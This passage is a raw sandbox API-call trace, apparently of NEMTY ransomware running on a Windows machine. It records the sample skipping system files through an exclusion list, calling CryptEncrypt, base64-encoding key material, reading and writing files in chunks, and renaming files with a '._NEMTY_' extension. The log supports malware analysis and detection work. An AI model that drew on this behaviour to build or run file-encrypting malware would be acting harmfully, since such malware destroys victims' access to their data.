| out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9663190, dwHighDateTime=0x1d561e7)) [0090.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9663190, dwHighDateTime=0x1d561e7)) [0090.182] GetLastError () returned 0x5 [0090.182] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.182] GetLastError () returned 0x5 [0090.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0090.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0090.183] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0090.183] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0090.183] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0090.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0090.183] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: pszString="8zAXS0DiLtRgxA9UBWfkYTc45qci3UNEQFvB20LB19ZU9RYonGKMBR/JwoXWVr4w\r\n7Kb6Q3WyREdjGCnLZm/E3Hx0sx0uHJybpoku8gCLIuyFd2II52uhPAuwSvtmiPjy\r\nrijV53QRNZyKoubzls4wMtZ6EHGycqlc2/8uUKsm/U78fiKnn9c4Qfk02TgLxLBj\r\na9OeIJYMTTKrbcXz+f60Wal+r1jvOfL2ZPnCXH8snVCZ15PS//npiST+LNi0/Yog\r\nv+foKo3vhwzIO9rftM2SB7wlDk+PMCR9qoonG0vh2iFi9AMXAhrZPcjnqHMLn4gX\r\nhjesFlaj1eULR38mFtvkSQ==\r\n", pcchString=0x653e91c) returned 1 [0090.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0090.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0090.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0090.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0090.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0090.183] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0090.183] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0090.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0090.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.203] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.203] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.203] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.212] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.212] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.212] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.232] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.232] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.232] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.251] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.251] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.284] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.284] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.284] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0090.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.296] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0090.296] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340100, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0090.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0090.296] CloseHandle (hObject=0xffffffff) returned 0 [0090.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0090.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0090.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0090.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0090.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0090.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0090.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0090.296] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0090.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0090.296] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0090.296] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv._nemty_kgobjgd_")) returned 0 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0090.297] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0090.297] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0090.297] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2=".") returned 1 [0090.297] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="..") returned 1 [0090.297] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="...") returned 1 [0090.297] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="windows") returned -1 [0090.297] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0090.297] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="rsa") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="NTDETECT.COM") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="ntldr") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="MSDOS.SYS") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="IO.SYS") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="boot.ini") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="ntuser.dat") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="desktop.ini") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="CONFIG.SYS") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="RECYCLER") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="bootmgr") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="programdata") returned 1 [0090.298] lstrcmpiW (lpString1="SportsMainToNotesBackground_PAL.wmv", lpString2="appdata") returned 1 [0090.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0090.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 35 [0090.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94338 [0090.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0090.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 35 [0090.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0090.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94338 | out: hHeap=0x4f90000) returned 1 [0090.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0090.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0090.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x6345608, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 35 [0090.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0090.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0090.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0090.299] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x6345640, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SportsMainToNotesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 35 [0090.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0090.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94338 [0090.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0090.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0090.299] Sleep (dwMilliseconds=0x5) [0090.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9793c90, dwHighDateTime=0x1d561e7)) [0090.306] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe9793c90, dwHighDateTime=0x1d561e7)) [0090.306] GetLastError () returned 0x5 [0090.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0090.306] GetLastError () returned 0x5 [0090.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0090.306] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0090.306] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0090.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0090.306] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0090.307] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0090.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0090.307] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e91c | out: 